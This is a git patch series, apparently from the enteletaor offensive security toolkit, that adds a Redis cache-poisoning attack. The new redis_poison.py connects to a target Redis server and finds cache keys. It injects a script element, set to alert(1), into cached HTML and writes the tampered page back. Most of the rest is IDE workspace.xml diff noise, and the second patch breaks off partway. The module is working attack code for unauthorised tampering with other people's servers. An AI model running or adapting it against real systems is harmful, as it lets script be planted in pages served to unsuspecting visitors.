From 8fb88f3a16bc83efa6d4920838a674f65f9f101e Mon Sep 17 00:00:00 2001 From: cr0hn Date: Thu, 18 Feb 2016 02:35:58 +0100 Subject: [PATCH 1/6] Add: new redis attack - cache poison --- .idea/workspace.xml | 246 ++++++++++--------- enteletaor_lib/modules/__init__.py | 2 - enteletaor_lib/modules/redis/__init__.py | 20 +- enteletaor_lib/modules/redis/cmd_actions.py | 8 + enteletaor_lib/modules/redis/redis_dump.py | 1 - enteletaor_lib/modules/redis/redis_poison.py | 160 ++++++++++++ 6 files changed, 307 insertions(+), 130 deletions(-) create mode 100644 enteletaor_lib/modules/redis/redis_poison.py diff --git a/.idea/workspace.xml b/.idea/workspace.xml index b09a9bd..acca5e0 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -2,9 +2,12 @@ - - + + + + + @@ -18,16 +21,17 @@ - - - + + + + @@ -40,36 +44,17 @@ - - + + - - + + - - - - - - - - - - - - - - - - - - - - - - - - + + + + + @@ -93,7 +78,6 @@ @@ -155,8 +140,8 @@ @@ -301,14 +286,14 @@ - + - + + + - + - - - - - + + + + + + @@ -659,7 +663,7 @@ - + @@ -667,14 +671,14 @@ - - - + + + - + @@ -720,7 +724,7 @@ - - - - - - - - @@ -1161,17 +1158,6 @@ - - - - - - - - - - - @@ -1185,27 +1171,19 @@ - - + + - - - - - - - - - - + + @@ -1220,29 +1198,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -1294,16 +1249,6 @@ - - - - - - - - - - @@ -1312,5 +1257,70 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/enteletaor_lib/modules/__init__.py b/enteletaor_lib/modules/__init__.py index 5b1b2c6..f274103 100644 --- a/enteletaor_lib/modules/__init__.py +++ b/enteletaor_lib/modules/__init__.py @@ -1,8 +1,6 @@ # -*- coding: utf-8 -*- -import abc import logging -import argparse log = logging.getLogger(__name__) diff --git a/enteletaor_lib/modules/redis/__init__.py b/enteletaor_lib/modules/redis/__init__.py index 4b10b1e..36d9fe2 100644 --- a/enteletaor_lib/modules/redis/__init__.py +++ b/enteletaor_lib/modules/redis/__init__.py @@ -6,13 +6,14 @@ from modules import IModule from libs.core.models import StringField, IntegerField from libs.core.structs import CommonData -from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect from .redis_dump import action_redis_dump +from .redis_shell import action_redis_shell from .redis_info import action_redis_server_info +from .redis_poison import action_redis_cache_poison +from .redis_discover_db import action_redis_discover_dbs from .redis_clients import action_redis_server_connected from .redis_disconnect import action_redis_server_disconnect -from .redis_shell import action_redis_shell -from .redis_discover_db import action_redis_discover_dbs +from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect, parser_redis_server_cache_poison log = logging.getLogger() @@ -52,14 +53,15 @@ class RedisModule(IModule): action=action_redis_server_disconnect ), 'discover-dbs': dict( - help="discover all redis DBs at server", + help="discover all Redis DBs at server", action=action_redis_discover_dbs ), - # 'shell': dict( - # help="open a remote os shell through the Redis server", - # action=action_redis_shell - # ), + 'cache': dict( + help="poison remotes cache using Redis server", + action=action_redis_cache_poison, + cmd_args=parser_redis_server_cache_poison + ), } name = "redis" - description = "some attacks over Redis service" \ No newline at end of file + description = "some attacks over Redis service" diff --git a/enteletaor_lib/modules/redis/cmd_actions.py b/enteletaor_lib/modules/redis/cmd_actions.py index 281e2bd..3bca404 100644 --- a/enteletaor_lib/modules/redis/cmd_actions.py +++ b/enteletaor_lib/modules/redis/cmd_actions.py @@ -20,3 +20,11 @@ def parser_redis_server_disconnect(parser): parser.add_argument("--all", action="store_true", dest="disconnect_all", default=False, help="disconnect all users") + +# ---------------------------------------------------------------------- +def parser_redis_server_cache_poison(parser): + parser.add_argument("--search", action="store_true", dest="search_cache", default=False, + help="try to find cache info stored in Redis") + parser.add_argument("--cache-key", action="store", dest="cache_key", + help="try to poisoning using selected key") + diff --git a/enteletaor_lib/modules/redis/redis_dump.py b/enteletaor_lib/modules/redis/redis_dump.py index 1806b27..52ca2cb 100644 --- a/enteletaor_lib/modules/redis/redis_dump.py +++ b/enteletaor_lib/modules/redis/redis_dump.py @@ -2,7 +2,6 @@ import redis import logging -import pprint log = logging.getLogger() diff --git a/enteletaor_lib/modules/redis/redis_poison.py b/enteletaor_lib/modules/redis/redis_poison.py new file mode 100644 index 0000000..4d33789 --- /dev/null +++ b/enteletaor_lib/modules/redis/redis_poison.py @@ -0,0 +1,160 @@ +# -*- coding: utf-8 -*- +import binascii +import six +import redis +import logging + +from lxml import etree + +log = logging.getLogger() + + +# ---------------------------------------------------------------------- +def dump_key(key, con): + + key_type = con.type(key).lower() + val = None + if key_type in (b"kv", b"string"): + val = con.get(key) + if key_type == b"hash": + val = con.hgetall(key) + if key_type == b"zet": + val = con.zrange(key, 0, -1) + if key_type == b"set": + val = con.mget(key) + + if val is not None: + if isinstance(val, list): + if val[0] is None: + return None + return val + return None + + +# ---------------------------------------------------------------------- +def search_caches(con): + """ + Try to search cache keys + """ + found = False + + for x in con.keys(): + if "cache" in str(x).lower(): + yield x + + +# ---------------------------------------------------------------------- +def handle_html(config, content): + """ + Modify the HTML content + """ + + # -------------------------------------------------------------------------- + # Prepare info + # -------------------------------------------------------------------------- + for i, x in enumerate(content): + if chr(x) == "<": + pos_ini = i + break + + for i, x in enumerate(content[::-1]): + if chr(x) == ">": + pos_end = len(content) - i + break + + if pos_ini is None or pos_end is None: + return None + + # prefix = content[:pos_ini] + # suffix = content[pos_end:] + + txt_content = content[pos_ini:pos_end] + + # Parse input + tree = etree.fromstring(txt_content, etree.HTMLParser()) + doc_root = tree.getroottree() + + # Find an insert script injection + for point in ("title", "body"): + insert_point = doc_root.find(".//%s" % point) + + if insert_point is None: + continue + + # Add the injection + ss = etree.Element("script") + ss.text = "alert(1)" + + insert_point.addnext(ss) + + # Found and insert point -> break + break + + # -------------------------------------------------------------------------- + # Fix results + # -------------------------------------------------------------------------- + + # Result + # result = bytearray(prefix) + bytearray(etree.tostring(doc_root)) + bytearray(suffix) + + return bytes(etree.tostring(doc_root)) + # return bytes(result) + + +# ---------------------------------------------------------------------- +def action_redis_cache_poison(config): + """ + Dump all redis information + """ + log.error("Trying to connect with redis server...") + + # Connection with redis + con = redis.StrictRedis(host=config.target, port=config.port, db=config.db) + + if not config.cache_key: + cache_keys = set(search_caches(con)) + else: + if config.cache_key is None: + cache_keys = list(search_caches(con))[0] + else: + cache_keys = [config.cache_key] + + # -------------------------------------------------------------------------- + # Find caches + # -------------------------------------------------------------------------- + if config.search_cache is True: + log.error("Looking for caches in '%s'..." % config.target) + + for x in cache_keys: + log.warning(" - Possible cache found in key: %s" % str(x)) + + if not cache_keys: + log.warning(" - No caches found") + + # Stop + return + + # -------------------------------------------------------------------------- + # Explode caches + # -------------------------------------------------------------------------- + for val in cache_keys: + content = dump_key(val, con) + + # If key doesn't exist content will be None + if content is None: + log.error(" - Provided key '%s' not found in server" % val) + continue + + # -------------------------------------------------------------------------- + # Action over caches + # -------------------------------------------------------------------------- + # Modify + modified = handle_html(config, content) + + if modified is None: + log.warning("Can't modify content") + + # Reset information + con.setex(val, 200, modified) + + From 0cf71412bebe9481d206d78e389cd7e10426f3e6 Mon Sep 17 00:00:00 2001 From: cr0hn Date: Thu, 18 Feb 2016 11:11:59 +0100 Subject: [PATCH 2/6] add - new options to inject into cache poisoning: payload from comand line, payload from file, complete new HTML file add - some visual improvements in argparser --- .idea/workspace.xml | 168 ++++++++++++------- enteletaor_lib/modules/proc/cmd_actions.py | 10 +- enteletaor_lib/modules/redis/cmd_actions.py | 30 +++- enteletaor_lib/modules/redis/redis_poison.py | 74 +++++--- 4 files changed, 179 insertions(+), 103 deletions(-) diff --git a/.idea/workspace.xml b/.idea/workspace.xml index acca5e0..feef1f5 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -1,13 +1,11 @@ - - + - - + - + @@ -25,7 +23,7 @@ - + @@ -43,24 +41,60 @@ - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +